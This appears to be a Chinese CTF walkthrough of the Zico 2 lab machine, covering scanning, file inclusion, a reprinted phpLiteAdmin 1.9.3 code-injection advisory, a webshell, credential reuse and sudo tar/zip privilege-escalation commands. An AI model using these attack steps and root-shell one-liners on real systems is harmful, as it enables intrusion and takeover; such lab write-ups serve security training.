Download : Zico 2
Found
使用arp-scan
进行主机发现,在当前环境中发现两台疑似主机,逐一排除。
对172.16.10.161
进行信息收集,使用nmap
查看其操作系统,发现为linux系统,很有可能就是这个,先放着。
再对172.16.10.176
进行版本服务扫描,发现该服务器操作系统为windows
,可以排除。
得到靶机准确IP: 172.16.10.161
Collect
得到靶机IP后便开始信息收集,首先使用nmap
扫描该服务器服务版本信息。
发现靶机开放22(ssh)
、80(http)
和111(rpcbind)
Attack
使用浏览器对靶机web端进行访问。
随便点点,前端做得还蛮丰富的。点到最后面一个按钮会跳转到另外的页面。
进入网页后,瞄一眼url,很眼熟,猜测使用了包含的功能进行调用。
尝试进行本地文件包含。因为是linux系统,使用经典包含/etc/passwd
文件。成功包含Ohhhhh
。
既然存在文件包含漏洞,那么getshell
不是手到擒来?
通常存在文件包含漏洞后,有几个常见的Getshell思路:
- *包含一些敏感的配置文件,获取目标敏感信息*
- *配合图片马getshell*
- *包含临时文件getshell*
- *包含session文件getshell*
- *包含日志文件getshell(Apache、SSH等等)*
- *利用php伪协议进行攻击*
但是通过各种尝试,发现不能通过日志中毒来利用,因为日志不在默认目录中,并且远程文件包含不起作用,其他的利用方式也无法使用。(阿巴阿巴)
*既然文件包含漏洞无法利用,那么只能换种思路,对网页目录进行爆破。*
```
最简单的工具dirb
dirb http://172.16.10.161
```
```
也可以换种工具 Wfuzz
wfuzz --hc 404,403 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 172.16.10.161/FUZZ
--hc 排除某些响应代码
-w 指定要使用的单词列表
指定要扫描的 URL,使用 FUZZ 指示要模糊的部分
```
*成功爆出*dbadmin
目录****
访问dbadmin/test_db.php
,看到一个登录框,首先尝试弱口令。
直接进入后台(要是挖洞有着运气就好了)...
发现为框架版本号为phpLiteAdmin 1.9.3
得到了版本号第一想到的就是使用searchsploit
工具寻找payload。
24044.txt
内容如下:
```
(rootkali2021)-[~]
cat 24044.txt
Exploit Title: phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability
Google Dork: inurl:phpliteadmin.php (Default PW: admin)
Date: 01/10/2013
Exploit Author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt
Vendor Homepage: http://code.google.com/p/phpliteadmin/
Vendor Status: Informed
Software Link: http://phpliteadmin.googlecode.com/files/phpliteadmin_v1-9-3.zip
Version: 1.9.3
Tested on: Windows and Linux
Description:
phpliteadmin.php#1784: 'Creating a New Database' =>
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',
An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.
Proof of Concept:
-
We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.
Preview: http://goo.gl/B5n9O
Hex preview: http://goo.gl/lJ5iQ -
Now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>
Hex preview: http://goo.gl/v7USQ -
Now we run hack.php
Done!
Proof: http://goo.gl/ZqPVL
```
总结来说就是: 此版本受到远程代码执行漏洞的影响,该漏洞允许通过创建新数据库并插入一个以 PHP 代码作为默认值的新字段在服务器上创建任意 PHP 文件。
*利用 PHPLiteAdmin 远程执行代码*
- 创建一个新的
hack.php
数据库。 - 添加一个带有一个test整数字段的
test
表,内容:<?php phpinfo()?>
- 通过前面发现的文件包含漏洞包含到上述利用创建的
hack.php
文件时,执行phpinfo()
。
明白流程如此,那这次getshell应该是手到擒来了。
GetShell
这里可以利用的方法有很多,这边用了一个思路最简单的,写一句话木马,然后上传反弹木马。
写一个一句话木马
利用文件包含漏洞,配合蚁剑连接
在
/usr/databases/1.php
中写反弹木马,然后再利用包含漏洞执行木马,反弹shell。
Privilege Escalation
拿到shell后第一目标就是提权。前面文件包含的时候,发现了Zico用户,作为一个普通用户,那么在/home目录下有个有一个Zico目录,往往这个目录是其他人无法查看的,但是幸运的是这台靶机刚好能够查看该目录下的文件。
发现该目录下有一个to_do.txt
文件,猜测这个应该是zico用户的工作目标。
Zico 想完成搭建 Joomla、bootstrap (+phpliteadmin) 和 wordpress的任务,通常一个作者同时搭建三个服务在同一个地方应该会使用同样的数据库,赌他会使用相同的账号密码。(我承认这里有赌的成分)
那么接下的任务就是找到连接数据库的账号密码
/home/zico/wordpress/wp_config.php
得到账号密码: zico@sWfCsfJSPV9H3AmQzw8
/home/zico/joomla/installation/configuration.php-dist
发现Joomla服务中没有设置数据连接。
总结到的只有
zico@sWfCsfJSPV9H3AmQzw8
尝试使用该账号密码登入zico用户,成功。
获取root权限
内核提权
靶机内核版本号
*编译运行即可。*
需要注意的是,切换firefart
用户需要先ssh进入到zico
用户,然后再切换到firefart
用户,密码为空。最后记得把备份文件mv
回去。
查找具有特殊权限SUID的文件
shell
find / -perm -g=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
感觉没有啥可以利用的。
sudo -l
查看以root权限运行的命令。
发现Zico用户似乎可以以 root 身份执行 Tar 和 Zip。
这里有两种提权方法,分别是使用tar
命令和使用zip
命令。
tar 提权
```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
-c:创建新的档案文件,相当于打包(-x,相反的操作,拆包)
-f:使用档名,f之后直接加档名,中间不能加其他参数
--checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,操作由--checkpoint-action指定
exec:执行外部命令
```
zip 提权
你可能没有想过,其实可以使用zip文件来运行任何的Linux命令。
sudo zip 1.zip to_do.txt -T --unzip-command="sh -c /bin/bash"
*自此,渗透结束。*
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论